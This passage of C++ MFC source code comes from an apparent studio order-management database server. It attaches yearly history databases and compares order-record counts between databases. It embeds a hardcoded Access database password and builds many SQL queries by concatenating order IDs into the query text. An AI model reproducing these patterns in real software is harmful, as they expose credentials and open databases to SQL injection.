  1901. BYTE code = codearray.ElementAt(i);
  1902. DWORD length, arraysize;
  1903. BYTE *pReturn = NULL;
  1904. consock.GetDataFromCode(code, &pReturn, length, arraysize, "");
  1905. fp.Write(&code, sizeof(BYTE));
  1906. fp.Write(&length, sizeof(DWORD));
  1907. fp.Write(&arraysize, sizeof(DWORD));
  1908. fp.Write(pReturn, length);
  1909. }
  1910. fp.Close();
  1911. }
  1912. }
  1913. catch (CException *e)
  1914. {
  1915. TCHAR szError[1024] = { 0 };
  1916. e->GetErrorMessage(szError, 1024);
  1917. WriteTextLog(CString(szError));
  1918. WriteTextLog("获取来电精灵数据出错1");
  1919. e->Delete();
  1920. }
  1921. return 0;
  1922. }
  1923. /************************************************************************/
  1924. /* [函数]:CheckHistoryData
  1925. /* [描述]:将被检测的数据库已完成的订单数据转到历史数据库中,并删除被检测的数据库已完成的订单;
  1926. /* [参数]:
  1927. /* pSrcdb: 源数据库,用于被转历史的数据库;
  1928. /* nSrcYear: 源数据库的年份;
  1929. /* bMode2: 转储模式:0=年度完成的订单; 1=年度所有订单,包含未完成订单;
  1930. /* [返回]:void
  1931. /*
  1932. /************************************************************************/
  1933. void CDBServerDlg::CheckHistoryData(CDatabase *pSrcdb /* = NULL */, int nSrcYear /* = 0 */, BOOL bMode2 /* = 0*/)//历史备份;
  1934. {
  1935. #if 0
  1936. // 取消转将当前数据库完成订单的记录转到年份数据库中,此步直接返回;
  1937. /////////////////////////生成来电精灵数据
  1938. MyLock lock("processChatMessageRequestxiao");
  1939. CArray<int, int>codearray;
  1940. codearray.Add(80);
  1941. codearray.Add(90);
  1942. codearray.Add(11);
  1943. codearray.Add(138);
  1944. codearray.Add(24);
  1945. codearray.Add(181);
  1946. codearray.Add(65);
  1947. codearray.Add(56);
  1948. codearray.Add(179);
  1949. codearray.Add(53);
  1950. CFile fp;
  1951. CString savepath, g_path1;
  1952. char server[50];
  1953. DWORD leng = 50;
  1954. ::GetComputerName(server, &leng);
  1955. g_path1 = server;
  1956. g_path1 = "\\\\" + g_path1 + "\\电话录音(管理软件)$";
  1957. GetPathFromNetShareName("电话录音(管理软件)$", g_path1);
  1958. if (g_path1.IsEmpty())return;
  1959. try
  1960. {
  1961. CDatabase *pdb = NULL;
  1962. for ( int i = 0; i < g_dbpool.GetSize(); i++ )
  1963. {
  1964. ODBCConnGuard ConnGuard(pdb, i-1, 3000);
  1965. if ( !pdb )
  1966. continue;
  1967. savepath.Format("%s\\uphonedata%d.dat", g_path1, i);
  1968. ::DeleteFile(savepath); // 删除uphonedata.dat文件;
  1969. if (fp.Open(savepath, CFile::modeCreate | CFile::modeWrite) == 0)
  1970. {
  1971. WriteTextLog("更新来电精灵数据出错");
  1972. return;
  1973. }
  1974. CConnectSocket consock;
  1975. consock.m_pConndb = pdb;
  1976. for (int i = 0; i < codearray.GetSize(); i++)
  1977. {
  1978. BYTE code = codearray.ElementAt(i);
  1979. DWORD length, arraysize;
  1980. BYTE *pReturn = NULL;
  1981. consock.GetDataFromCode(code, &pReturn, length, arraysize, "");
  1982. fp.Write(&code, sizeof(BYTE));
  1983. fp.Write(&length, sizeof(DWORD));
  1984. fp.Write(&arraysize, sizeof(DWORD));
  1985. fp.Write(pReturn, length);
  1986. }
  1987. fp.Close();
  1988. }
  1989. }
  1990. catch (CException *e)
  1991. {
  1992. TCHAR szError[1024] = { 0 };
  1993. e->GetErrorMessage(szError, 1024);
  1994. WriteTextLog(CString(szError));
  1995. WriteTextLog("获取来电精灵数据出错1");
  1996. e->Delete();
  1997. }
  1998. #endif
  1999. HANDLE h = CreateThread(NULL, 0, ThreadCallerElves, this, 0, NULL);
  2000. if ( h )CloseHandle(h);
  2001. }
  2002. //------------------------------------------------------------------------------------
  2003. // Jeff remark
  2004. // 函数:CheckYear
  2005. // 描述:
  2006. // 1.检查指定年份的历史数据库mdf文件是否存在,存在则直接附加
  2007. // 2.不存在,则使用null.mdf文件拷贝创建历史年份数据库mdf并附加;
  2008. // 参数:
  2009. // year:被检查年份值;
  2010. // 返回:void
  2011. //------------------------------------------------------------------------------------
  2012. #if JEFF_TEST_ON
  2013. void CDBServerDlg::CheckYear(int year)
  2014. {
  2015. CDatabase *pMaindb = NULL;
  2016. ODBCConnGuard ConnGuard(pMaindb, -1, 3000);
  2017. if ( pMaindb == NULL )
  2018. return;
  2019. pMaindb->SetQueryTimeout(6000);
  2020. try
  2021. {
  2022. #ifdef SQLSERVER_VERSION
  2023. CString sql;
  2024. // 1.判断年份数据库是否存在;
  2025. CString strPathOfYearmdf;
  2026. CString strPathOfYearldf;
  2027. strPathOfYearmdf.Format("%s\\数据\\%d.mdf", g_mainpath, year);
  2028. strPathOfYearldf.Format("%s\\数据\\%d_log.ldf", g_mainpath, year);
  2029. CString strPathOfnulldbmdf = g_mainpath + "\\数据\\dbnull.mdf";
  2030. CString strPathOfnulldbldf = g_mainpath + "\\数据\\dbnull_log.ldf";
  2031. if (PathFileExists(strPathOfYearmdf) == TRUE)
  2032. {
  2033. if (PathFileExists(strPathOfYearldf) == TRUE)
  2034. {
  2035. sql.Format("exec sp_attach_db '%d',@filename1='%s',@filename2='%s'", year, strPathOfYearmdf, strPathOfYearldf);
  2036. }
  2037. else
  2038. {
  2039. // 此时要删除dbnull_log.ldf文件;
  2040. // 因为如果2015没有对应的ldf文件,在逻辑名仍为dbnull没有改为2015时,他会使用dbnull_log.ldf做为2015数据库的日志文件;
  2041. // 这样造成其他数据库在使用dbnull时会产生错误;
  2042. DeleteFile(strPathOfnulldbldf);//删除dbnull_log.ldf文件;
  2043. sql.Format("exec sp_attach_db '%d',@filename1='%s'", year, strPathOfYearmdf);
  2044. }
  2045. try
  2046. {
  2047. pMaindb->ExecuteSQL(sql);
  2048. }
  2049. catch (CDBException * e)
  2050. {
  2051. WriteTextLog(e->m_strError);
  2052. WriteTextLog("历史数据库初始化失败!");
  2053. #ifdef _DEBUG
  2054. e->ReportError();
  2055. #endif
  2056. e->Delete();
  2057. return;
  2058. }
  2059. }
  2060. else
  2061. {
  2062. // 判断dbnull.mdf文件是否存在;
  2063. if (PathFileExists(strPathOfnulldbmdf) == FALSE)
  2064. {
  2065. WriteTextLog("空数据库丢失!");
  2066. return;
  2067. }
  2068. // 判断拷贝mdf文件是否失败;
  2069. if (FALSE == CopyFile(strPathOfnulldbmdf, strPathOfYearmdf, 1))
  2070. {
  2071. DWORD dwError = ::GetLastError();
  2072. CString strDescription;
  2073. strDescription.Format("dbnull.mdf拷贝为%d.mdf失败", year);
  2074. ErrorExit(strDescription, dwError);
  2075. return;
  2076. }
  2077. else
  2078. {
  2079. DeleteFile(strPathOfYearldf); // 删除%d_log.LDF文件;
  2080. if (PathFileExists(strPathOfnulldbldf) == TRUE)
  2081. {
  2082. if (FALSE == CopyFile(strPathOfnulldbldf, strPathOfYearldf, 1))
  2083. {
  2084. DWORD dwError = ::GetLastError();
  2085. CString strDescription;
  2086. strDescription.Format("null.mdf拷贝为%d.mdf", year);
  2087. ErrorExit(strDescription, dwError);
  2088. // 此时要删除dbnull_log.ldf文件;
  2089. // 因为如果2015没有对应的ldf文件,在逻辑名仍为dbnull没有改为2015时,他会使用dbnull_log.ldf做为2015数据库的日志文件;
  2090. // 这样造成其他数据库在使用dbnull时会产生错误;
  2091. DeleteFile(strPathOfnulldbldf);//删除dbnull_log.ldf文件;
  2092. sql.Format("exec sp_attach_db '%d',@filename1='%s'", year, strPathOfYearmdf);
  2093. }
  2094. else
  2095. {
  2096. sql.Format("exec sp_attach_db '%d',@filename1='%s',@filename2='%s'", year, strPathOfYearmdf, strPathOfYearldf);
  2097. }
  2098. }
  2099. else
  2100. {
  2101. // 此时要删除dbnull_log.ldf文件;
  2102. // 因为如果2015没有对应的ldf文件,在逻辑名仍为dbnull没有改为2015时,他会使用dbnull_log.ldf做为2015数据库的日志文件;
  2103. // 这样造成其他数据库在使用dbnull时会产生错误;
  2104. DeleteFile(strPathOfnulldbldf);//删除dbnull_log.ldf文件;
  2105. sql.Format("exec sp_attach_db '%d',@filename1='%s'", year, strPathOfYearmdf);
  2106. }
  2107. try
  2108. {
  2109. pMaindb->ExecuteSQL(sql);
  2110. }
  2111. catch (CDBException * e)
  2112. {
  2113. WriteTextLog(e->m_strError);
  2114. WriteTextLog("历史数据库初始化失败!");
  2115. #ifdef _DEBUG
  2116. e->ReportError();
  2117. #endif
  2118. e->Delete();
  2119. return;
  2120. }
  2121. }
  2122. }
  2123. // 附加成功后,修改逻辑名称;
  2124. sql.Format("alter database [%d] modify file(name='dbnull',newname='%d')", year, year);
  2125. try
  2126. {
  2127. pMaindb->ExecuteSQL(sql);
  2128. }
  2129. catch (CDBException * e)
  2130. {
  2131. WriteTextLog(e->m_strError);
  2132. WriteTextLog("修改历史数据库主文件逻辑名失败,请手动修改!");
  2133. #ifdef _DEBUG
  2134. e->ReportError();
  2135. #endif
  2136. e->Delete();
  2137. }
  2138. sql.Format("alter database [%d] modify file(name='dbnull_log',newname='%d_log')", year, year);
  2139. try
  2140. {
  2141. pMaindb->ExecuteSQL(sql);
  2142. }
  2143. catch (CDBException * e)
  2144. {
  2145. WriteTextLog(e->m_strError);
  2146. WriteTextLog("修改历史数据库日志文件逻辑名失败,请手动修改!");
  2147. #ifdef _DEBUG
  2148. e->ReportError();
  2149. #endif
  2150. e->Delete();
  2151. }
  2152. OnExit2();
  2153. #else
  2154. CString path,sql;
  2155. path.Format ("%s\\数据\\%d.mdb", g_mainpath, year);
  2156. if(::PathFileExists (path)==0)
  2157. {
  2158. CString nulldb=g_mainpath+"\\数据\\dbnull.mdb";
  2159. ::CopyFile (nulldb, path, 1);
  2160. CDatabase *db=new CDatabase;
  2161. CString strCon;
  2162. strCon.Format("DRIVER=Microsoft Access Driver (*.mdb);DSN='';DBQ=%s;PWD=lijialyfz",path);
  2163. if(db->OpenEx(strCon,CDatabase::noOdbcDialog))
  2164. {
  2165. g_nYearArray.Add (year);
  2166. g_dbHistoryArray.Add (db);
  2167. sql.Format ("insert into historydb([year])values('%d')", year);
  2168. MyExecuteSQL(&g_db, sql);
  2169. }
  2170. else
  2171. delete db;
  2172. }
  2173. #endif
  2174. }
  2175. catch (...)
  2176. {
  2177. WriteTextLog("出错在函数CheckYear中");
  2178. }
  2179. }
  2180. #else
  2181. void CDBServerDlg::CheckYear(int year)
  2182. {
  2183. try
  2184. {
  2185. #ifdef SQLSERVER_VERSION
  2186. CString strPathOfYearmdf;
  2187. CString strPathOfYearldf;
  2188. CString sql;
  2189. strPathOfYearmdf.Format("%s\\数据\\%d.mdf", g_mainpath, year);
  2190. strPathOfYearldf.Format("%s\\数据\\%d_log.LDF", g_mainpath, year);
  2191. ::DeleteFile(strPathOfYearldf); // 删除%d_log.LDF文件;
  2192. {
  2193. CString strPathOfnulldbmdf = g_mainpath + "\\数据\\dbnull.mdf";
  2194. CString strPathOfnulldbldf = g_mainpath + "\\数据\\dbnull_log.LDF";
  2195. ::DeleteFile(strPathOfnulldbldf); // 删除%d_log.LDF文件;
  2196. // 1.判断null.mdf文件是否存在;
  2197. if (::PathFileExists(strPathOfnulldbmdf) == 0)
  2198. {
  2199. WriteTextLog("空数据库丢失!");
  2200. return;
  2201. }
  2202. // 2.若年份mdf文件不存在,用null.mdf复制一份年份mdf数据库文件;
  2203. BOOL bCopyed = 0;
  2204. if (::PathFileExists(strPathOfYearmdf) == 0)
  2205. {
  2206. #if 0
  2207. ::CopyFile(nulldb, path, 1);
  2208. bCopyed=1;
  2209. #else // Jeff add:判断拷贝文件失败的原因;
  2210. if (!::CopyFile(strPathOfnulldbmdf, strPathOfYearmdf, 1))
  2211. {
  2212. DWORD dwError = ::GetLastError();
  2213. CString strDescription;
  2214. strDescription.Format("null.mdf拷贝为%d.mdf", year);
  2215. ErrorExit(strDescription, dwError);
  2216. // return;//直接返回;
  2217. }
  2218. else
  2219. {
  2220. bCopyed = 1;
  2221. }
  2222. #endif
  2223. }
  2224. if (::PathFileExists(strPathOfYearmdf) == 0)
  2225. {
  2226. WriteTextLog("拷贝数据库文件失败!");
  2227. return;
  2228. }
  2229. BOOL bLog = 0;
  2230. if (::PathFileExists(strPathOfnulldbldf))
  2231. {
  2232. bLog = 1;
  2233. }
  2234. // .将年份数据库mdf附加到数据库里;
  2235. CString sql;
  2236. if (bCopyed)
  2237. {
  2238. if (bLog)
  2239. sql.Format("exec sp_attach_db '%s',@filename1='%s',@filename2='%s'", "dbnull", strPathOfYearmdf, strPathOfYearldf);
  2240. else
  2241. sql.Format("exec sp_attach_db '%s',@filename1='%s'", "dbnull", strPathOfYearmdf);
  2242. g_db.SetQueryTimeout(600);
  2243. try
  2244. {
  2245. g_db.ExecuteSQL(sql);
  2246. }
  2247. catch (CDBException * e)
  2248. {
  2249. WriteTextLog(e->m_strError);
  2250. WriteTextLog("历史数据库初始化失败!");
  2251. #ifdef _DEBUG
  2252. e->ReportError();
  2253. #endif
  2254. e->Delete();
  2255. }
  2256. sql.Format("exec sp_renamedb '%s','%d'", "dbnull", year); g_db.ExecuteSQL(sql);
  2257. }
  2258. else // 没有执行CopyFile,年份mdf原本就存在;
  2259. {
  2260. if (bLog)
  2261. sql.Format("exec sp_attach_db '%d',@filename1='%s',@filename2='%s'", year, strPathOfYearmdf, strPathOfYearldf);
  2262. else
  2263. sql.Format("exec sp_attach_db '%d',@filename1='%s'", year, strPathOfYearmdf);
  2264. g_db.SetQueryTimeout(600);
  2265. try
  2266. {
  2267. g_db.ExecuteSQL(sql);
  2268. }
  2269. catch (CDBException * e)
  2270. {
  2271. WriteTextLog(e->m_strError);
  2272. WriteTextLog("历史数据库初始化失败!");
  2273. #ifdef _DEBUG
  2274. e->ReportError();
  2275. #endif
  2276. e->Delete();
  2277. }
  2278. }
  2279. OnExit2();
  2280. /* g_db.SetQueryTimeout(100);
  2281. CDatabase *db=new CDatabase;
  2282. try
  2283. {
  2284. CString strCon;
  2285. strCon.Format(_T("driver={SQL Server};Server=%s;DATABASE=%d;%s"), g_sservrename,year,g_sdbpsw);
  2286. db->OpenEx(strCon,CDatabase::noOdbcDialog);
  2287. g_nYearArray.Add (year);
  2288. dbarray.Add (db);
  2289. sql.Format ("insert into [historydb]([year])values('%d')", year);
  2290. MyExecuteSQL(&g_db, sql);
  2291. }
  2292. catch(CDBException * e)
  2293. {
  2294. delete db;
  2295. WriteTextLog(e->m_strError);
  2296. WriteTextLog("历史数据库打开失败!");
  2297. }*/
  2298. }
  2299. #else
  2300. CString path,sql;
  2301. path.Format ("%s\\数据\\%d.mdb", g_mainpath, year);
  2302. if(::PathFileExists (path)==0)
  2303. {
  2304. CString nulldb=g_mainpath+"\\数据\\dbnull.mdb";
  2305. ::CopyFile (nulldb, path, 1);
  2306. CDatabase *db=new CDatabase;
  2307. CString strCon;
  2308. strCon.Format("DRIVER=Microsoft Access Driver (*.mdb);DSN='';DBQ=%s;PWD=lijialyfz",path);
  2309. if(db->OpenEx(strCon,CDatabase::noOdbcDialog))
  2310. {
  2311. g_nYearArray.Add (year);
  2312. g_dbHistoryArray.Add (db);
  2313. sql.Format ("insert into historydb([year])values('%d')", year);
  2314. MyExecuteSQL(&g_db, sql);
  2315. }
  2316. else
  2317. delete db;
  2318. }
  2319. #endif
  2320. }
  2321. catch (...)
  2322. {
  2323. WriteTextLog("出错在函数CheckYear中");
  2324. }
  2325. }
  2326. #endif
  2327. CDatabase* CDBServerDlg::GetDB(int year)
  2328. {
  2329. try
  2330. {
  2331. for (int i = 0; i < g_nYearArray.GetSize(); i++)
  2332. {
  2333. if (g_nYearArray.ElementAt(i) == year)
  2334. {
  2335. return g_dbHistoryArray.ElementAt(i);
  2336. }
  2337. }
  2338. return NULL;
  2339. }
  2340. catch (...)
  2341. {
  2342. WriteTextLog("出错在函数GetDB中");
  2343. }
  2344. return NULL;
  2345. }
  2346. /************************************************************************/
  2347. /* mark by Jeff;
  2348. /* 函数:CheckDinDanExist
  2349. /* 描述:
  2350. /* 参数:
  2351. /* pBeConverted_db:(源)
  2352. /* pToConverted_db:(目标)
  2353. /* strOderNumber:
  2354. /* pRetArray:
  2355. /*
  2356. /* 返回:1表示正常,100及以上表示源数据库里记录 > 目标数据库记录;
  2357. /*
  2358. /************************************************************************/
  2359. BOOL CDBServerDlg::CheckDinDanExist(CDatabase *pBeConverted_db, CDatabase *pToConverted_db, CString strOderNumber, CStringArray *pRetArray)
  2360. {
  2361. try
  2362. {
  2363. pRetArray->RemoveAll();
  2364. int count1 = 0;
  2365. int count2 = 0;
  2366. CString sql;
  2367. {
  2368. CRecordset myset(pBeConverted_db);
  2369. sql = "select count(*) as cot from dindan where id='" + strOderNumber + "'";
  2370. myset.Open(CRecordset::forwardOnly, sql);
  2371. myset.GetFieldValue("cot", sql);
  2372. myset.Close();
  2373. count1 = atoi(sql);
  2374. }
  2375. {
  2376. CRecordset myset(pToConverted_db);
  2377. sql = "select count(*) as cot from dindan where id='" + strOderNumber + "'";
  2378. myset.Open(CRecordset::forwardOnly, sql);
  2379. myset.GetFieldValue("cot", sql);
  2380. myset.Close();
  2381. count2 = atoi(sql);
  2382. }
  2383. if (count1 > count2)//100
  2384. pRetArray->Add("0");
  2385. else
  2386. pRetArray->Add("1");
  2387. {
  2388. CRecordset myset(pBeConverted_db);
  2389. sql = "select count(*) as cot from dindansp where id='" + strOderNumber + "'";
  2390. myset.Open(CRecordset::forwardOnly, sql);
  2391. myset.GetFieldValue("cot", sql);
  2392. myset.Close();
  2393. count1 = atoi(sql);
  2394. }
  2395. {
  2396. CRecordset myset(pToConverted_db);
  2397. sql = "select count(*) as cot from dindansp where id='" + strOderNumber + "'";
  2398. myset.Open(CRecordset::forwardOnly, sql);
  2399. myset.GetFieldValue("cot", sql);
  2400. myset.Close();
  2401. count2 = atoi(sql);
  2402. }
  2403. if (count1 > count2)//101
  2404. pRetArray->Add("0");
  2405. else
  2406. pRetArray->Add("1");
  2407. {
  2408. CRecordset myset(pBeConverted_db);
  2409. sql = "select count(*) as cot from dindanbukuan where id='" + strOderNumber + "'";
  2410. myset.Open(CRecordset::forwardOnly, sql);
  2411. myset.GetFieldValue("cot", sql);
  2412. myset.Close();
  2413. count1 = atoi(sql);
  2414. }
  2415. {
  2416. CRecordset myset(pToConverted_db);
  2417. sql = "select count(*) as cot from dindanbukuan where id='" + strOderNumber + "'";
  2418. myset.Open(CRecordset::forwardOnly, sql);
  2419. myset.GetFieldValue("cot", sql);
  2420. myset.Close();
  2421. count2 = atoi(sql);
  2422. }
  2423. if (count1 > count2)//102
  2424. pRetArray->Add("0");
  2425. else
  2426. pRetArray->Add("1");
  2427. {
  2428. CRecordset myset(pBeConverted_db);
  2429. sql = "select count(*) as cot from dindanbukuan2 where id='" + strOderNumber + "'";
  2430. myset.Open(CRecordset::forwardOnly, sql);
  2431. myset.GetFieldValue("cot", sql);
  2432. myset.Close();
  2433. count1 = atoi(sql);
  2434. }
  2435. {
  2436. CRecordset myset(pToConverted_db);
  2437. sql = "select count(*) as cot from dindanbukuan2 where id='" + strOderNumber + "'";
  2438. myset.Open(CRecordset::forwardOnly, sql);
  2439. myset.GetFieldValue("cot", sql);
  2440. myset.Close();
  2441. count2 = atoi(sql);
  2442. }
  2443. if (count1 > count2)//103
  2444. pRetArray->Add("0");
  2445. else
  2446. pRetArray->Add("1");
  2447. {
  2448. CRecordset myset(pBeConverted_db);
  2449. sql = "select count(*) as cot from photoprint where id='" + strOderNumber + "'";
  2450. myset.Open(CRecordset::forwardOnly, sql);
  2451. myset.GetFieldValue("cot", sql);
  2452. myset.Close();
  2453. count1 = atoi(sql);
  2454. }
  2455. {
  2456. CRecordset myset(pToConverted_db);
  2457. sql = "select count(*) as cot from photoprint where id='" + strOderNumber + "'";
  2458. myset.Open(CRecordset::forwardOnly, sql);
  2459. myset.GetFieldValue("cot", sql);
  2460. myset.Close();
  2461. count2 = atoi(sql);
  2462. }
  2463. if (count1 > count2)//104
  2464. pRetArray->Add("0");
  2465. else
  2466. pRetArray->Add("1");
  2467. {
  2468. CRecordset myset(pBeConverted_db);
  2469. sql = "select count(*) as cot from client where id='" + strOderNumber + "'";
  2470. myset.Open(CRecordset::forwardOnly, sql);
  2471. myset.GetFieldValue("cot", sql);
  2472. myset.Close();
  2473. count1 = atoi(sql);
  2474. }
  2475. {
  2476. CRecordset myset(pToConverted_db);
  2477. sql = "select count(*) as cot from client where id='" + strOderNumber + "'";
  2478. myset.Open(CRecordset::forwardOnly, sql);
  2479. myset.GetFieldValue("cot", sql);
  2480. myset.Close();
  2481. count2 = atoi(sql);
  2482. }
  2483. if (count1 > count2)//105
  2484. pRetArray->Add("0");
  2485. else
  2486. pRetArray->Add("1");
  2487. {
  2488. CRecordset myset(pBeConverted_db);
  2489. sql = "select count(*) as cot from burncdreg where id='" + strOderNumber + "'";
  2490. myset.Open(CRecordset::forwardOnly, sql);
  2491. myset.GetFieldValue("cot", sql);
  2492. myset.Close();
  2493. count1 = atoi(sql);
  2494. }
  2495. {
  2496. CRecordset myset(pToConverted_db);
  2497. sql = "select count(*) as cot from burncdreg where id='" + strOderNumber + "'";
  2498. myset.Open(CRecordset::forwardOnly, sql);
  2499. myset.GetFieldValue("cot", sql);
  2500. myset.Close();
  2501. count2 = atoi(sql);
  2502. }
  2503. if (count1 > count2)//7
  2504. pRetArray->Add("0");
  2505. else
  2506. pRetArray->Add("1");
  2507. {
  2508. CRecordset myset(pBeConverted_db);
  2509. sql = "select count(*) as cot from digitalwork where id='" + strOderNumber + "'";
  2510. myset.Open(CRecordset::forwardOnly, sql);
  2511. myset.GetFieldValue("cot", sql);
  2512. myset.Close();
  2513. count1 = atoi(sql);
  2514. }
  2515. {
  2516. CRecordset myset(pToConverted_db);
  2517. sql = "select count(*) as cot from digitalwork where id='" + strOderNumber + "'";
  2518. myset.Open(CRecordset::forwardOnly, sql);
  2519. myset.GetFieldValue("cot", sql);
  2520. myset.Close();
  2521. count2 = atoi(sql);
  2522. }
  2523. if (count1 > count2)//8
  2524. pRetArray->Add("0");
  2525. else
  2526. pRetArray->Add("1");
  2527. {
  2528. CRecordset myset(pBeConverted_db);
  2529. sql = "select count(*) as cot from mywork where id='" + strOderNumber + "'";
  2530. myset.Open(CRecordset::forwardOnly, sql);
  2531. myset.GetFieldValue("cot", sql);
  2532. myset.Close();
  2533. count1 = atoi(sql);
  2534. }
  2535. {
  2536. CRecordset myset(pToConverted_db);
  2537. sql = "select count(*) as cot from mywork where id='" + strOderNumber + "'";
  2538. myset.Open(CRecordset::forwardOnly, sql);
  2539. myset.GetFieldValue("cot", sql);
  2540. myset.Close();
  2541. count2 = atoi(sql);
  2542. }
  2543. if (count1 > count2)//9
  2544. pRetArray->Add("0");
  2545. else
  2546. pRetArray->Add("1");
  2547. {
  2548. CRecordset myset(pBeConverted_db);
  2549. sql = "select count(*) as cot from dindanjd where id='" + strOderNumber + "'";
  2550. myset.Open(CRecordset::forwardOnly, sql);
  2551. myset.GetFieldValue("cot", sql);
  2552. myset.Close();
  2553. count1 = atoi(sql);
  2554. }
  2555. {
  2556. CRecordset myset(pToConverted_db);
  2557. sql = "select count(*) as cot from dindanjd where id='" + strOderNumber + "'";
  2558. myset.Open(CRecordset::forwardOnly, sql);
  2559. myset.GetFieldValue("cot", sql);
  2560. myset.Close();
  2561. count2 = atoi(sql);
  2562. }
  2563. if (count1 > count2)//10
  2564. pRetArray->Add("0");
  2565. else
  2566. pRetArray->Add("1");
  2567. {
  2568. CRecordset myset(pBeConverted_db);
  2569. sql = "select count(*) as cot from dindansp2 where id='" + strOderNumber + "'";
  2570. myset.Open(CRecordset::forwardOnly, sql);
  2571. myset.GetFieldValue("cot", sql);
  2572. myset.Close();
  2573. count1 = atoi(sql);
  2574. }
  2575. {
  2576. CRecordset myset(pToConverted_db);
  2577. sql = "select count(*) as cot from dindansp2 where id='" + strOderNumber + "'";
  2578. myset.Open(CRecordset::forwardOnly, sql);
  2579. myset.GetFieldValue("cot", sql);
  2580. myset.Close();
  2581. count2 = atoi(sql);
  2582. }
  2583. if (count1 > count2)
  2584. pRetArray->Add("0");
  2585. else
  2586. pRetArray->Add("1");
  2587. {
  2588. CRecordset myset(pBeConverted_db);
  2589. sql = "select count(*) as cot from dindansp3 where id='" + strOderNumber + "'";
  2590. myset.Open(CRecordset::forwardOnly, sql);
  2591. myset.GetFieldValue("cot", sql);
  2592. myset.Close();
  2593. count1 = atoi(sql);
  2594. }
  2595. {
  2596. CRecordset myset(pToConverted_db);
  2597. sql = "select count(*) as cot from dindansp3 where id='" + strOderNumber + "'";
  2598. myset.Open(CRecordset::forwardOnly, sql);
  2599. myset.GetFieldValue("cot", sql);
  2600. myset.Close();
  2601. count2 = atoi(sql);
  2602. }
  2603. if (count1 > count2)
  2604. pRetArray->Add("0");
  2605. else
  2606. pRetArray->Add("1");
  2607. for (int i = 0; i < pRetArray->GetSize(); i++)
  2608. {
  2609. if (pRetArray->ElementAt(i) == "0")return 100 + i;
  2610. }
  2611. return 1;
  2612. }
  2613. catch (CDBException * e)
  2614. {
  2615. WriteTextLog(e->m_strError);
  2616. WriteTextLog("出错在函数check1中");
  2617. #ifdef _DEBUG
  2618. e->ReportError();
  2619. #endif
  2620. e->Delete();
  2621. }
  2622. return 100;
  2623. }
  2624. BOOL CDBServerDlg::CheckPayOutExist(CDatabase *pdb1, CDatabase *pdb2, CString id)
  2625. {
  2626. try
  2627. {
  2628. int count1 = 0;
  2629. int count2 = 0;
  2630. CString sql;
  2631. {
  2632. CRecordset myset(pdb1);
  2633. sql.Format("select count(*) as cot from gudingfeiyong where [id]=%d", atol(id));
  2634. myset.Open(CRecordset::forwardOnly, sql);
  2635. myset.GetFieldValue("cot", sql);
  2636. myset.Close();
  2637. count1 = atoi(sql);
  2638. }
  2639. {
  2640. CRecordset myset(pdb2);
  2641. sql = "select count(*) as cot from gudingfeiyong where [id]='" + id + "'";
  2642. myset.Open(CRecordset::forwardOnly, sql);
  2643. myset.GetFieldValue("cot", sql);
  2644. myset.Close();
  2645. count2 = atoi(sql);
  2646. }
  2647. if (count1 > count2)return 0;
  2648. return 1;
  2649. }
  2650. catch (...)
  2651. {
  2652. WriteTextLog("出错在函数check2中");
  2653. }
  2654. return 0;
  2655. }
  2656. BOOL CDBServerDlg::CheckIncomeExist(CDatabase *pdb1, CDatabase *pdb2, CString id, CStringArray *pretarray)
  2657. {
  2658. try
  2659. {
  2660. pretarray->RemoveAll();
  2661. int count1 = 0;
  2662. int count2 = 0;
  2663. CString sql;
  2664. {
  2665. CRecordset myset(pdb1);
  2666. sql.Format("select count(*) as cot from singleincome where [id]=%d", atol(id));
  2667. myset.Open(CRecordset::forwardOnly, sql);
  2668. myset.GetFieldValue("cot", sql);
  2669. myset.Close();
  2670. count1 = atoi(sql);
  2671. }
  2672. {
  2673. CRecordset myset(pdb2);
  2674. sql = "select count(*) as cot from singleincome where [id]='" + id + "'";
  2675. myset.Open(CRecordset::forwardOnly, sql);
  2676. myset.GetFieldValue("cot", sql);
  2677. myset.Close();
  2678. count2 = atoi(sql);
  2679. }
  2680. if (count1 > count2)
  2681. pretarray->Add("0");
  2682. else
  2683. pretarray->Add("1");
  2684. {
  2685. CRecordset myset(pdb1);
  2686. sql.Format("select count(*) as cot from singleincomemoney where [id]='%s'", id);
  2687. myset.Open(CRecordset::forwardOnly, sql);
  2688. myset.GetFieldValue("cot", sql);
  2689. myset.Close();
  2690. count1 = atoi(sql);
  2691. }
  2692. {
  2693. CRecordset myset(pdb2);
  2694. sql.Format("select count(*) as cot from singleincomemoney where [id]='%s'", id);
  2695. myset.Open(CRecordset::forwardOnly, sql);
  2696. myset.GetFieldValue("cot", sql);
  2697. myset.Close();
  2698. count2 = atoi(sql);
  2699. }
  2700. if (count1 > count2)
  2701. pretarray->Add("0");
  2702. else
  2703. pretarray->Add("1");
  2704. for (int i = 0; i < pretarray->GetSize(); i++)
  2705. {
  2706. if (pretarray->ElementAt(i) == "0")return 0;
  2707. }
  2708. return 1;
  2709. }
  2710. catch (...)
  2711. {
  2712. WriteTextLog("出错在函数check3中");
  2713. }
  2714. return 0;
  2715. }
  2716. BOOL CDBServerDlg::CheckIncomeMoneyExist(CDatabase *pdb1, CDatabase *pdb2, CString id)
  2717. {
  2718. try
  2719. {
  2720. int count1 = 0;
  2721. int count2 = 0;
  2722. CString sql;
  2723. {
  2724. CRecordset myset(pdb1);
  2725. sql.Format("select count(*) as cot from singleincomemoney where [id]='%s'", id);
  2726. myset.Open(CRecordset::forwardOnly, sql);
  2727. myset.GetFieldValue("cot", sql);
  2728. myset.Close();
  2729. count1 = atoi(sql);
  2730. }
  2731. {
  2732. CRecordset myset(pdb2);
  2733. sql.Format("select count(*) as cot from singleincomemoney where [id]='%s'", id);
  2734. myset.Open(CRecordset::forwardOnly, sql);
  2735. myset.GetFieldValue("cot", sql);
  2736. myset.Close();
  2737. count2 = atoi(sql);
  2738. }
  2739. if (count1 > count2)return 0;
  2740. return 1;
  2741. }
  2742. catch (...)
  2743. {
  2744. WriteTextLog("出错在函数check3中");
  2745. }
  2746. return 0;
  2747. }
  2748. /************************************************************************/
  2749. /* mark by Jeff
  2750. /* 函数:TransDinDan
  2751. /* 描述:
  2752. /* 参数:
  2753. /* pBeConverted_db:被转换的数据库(源);
  2754. /* pToConverted_db:要转到的数据库(目标);
  2755. /* strOrderNumber: 订单号;
  2756. /* nYear: 要转换的年份;
  2757. /*
  2758. /* 返回:
  2759. /************************************************************************/
  2760. int CDBServerDlg::TransDinDan(CDatabase *pBeConverted_db, CDatabase *pToConverted_db, CString strOrderNumber, int nYear)
  2761. {
  2762. int step = 0;
  2763. CStringArray retarray;
  2764. try
  2765. {
  2766. CString sql, str;
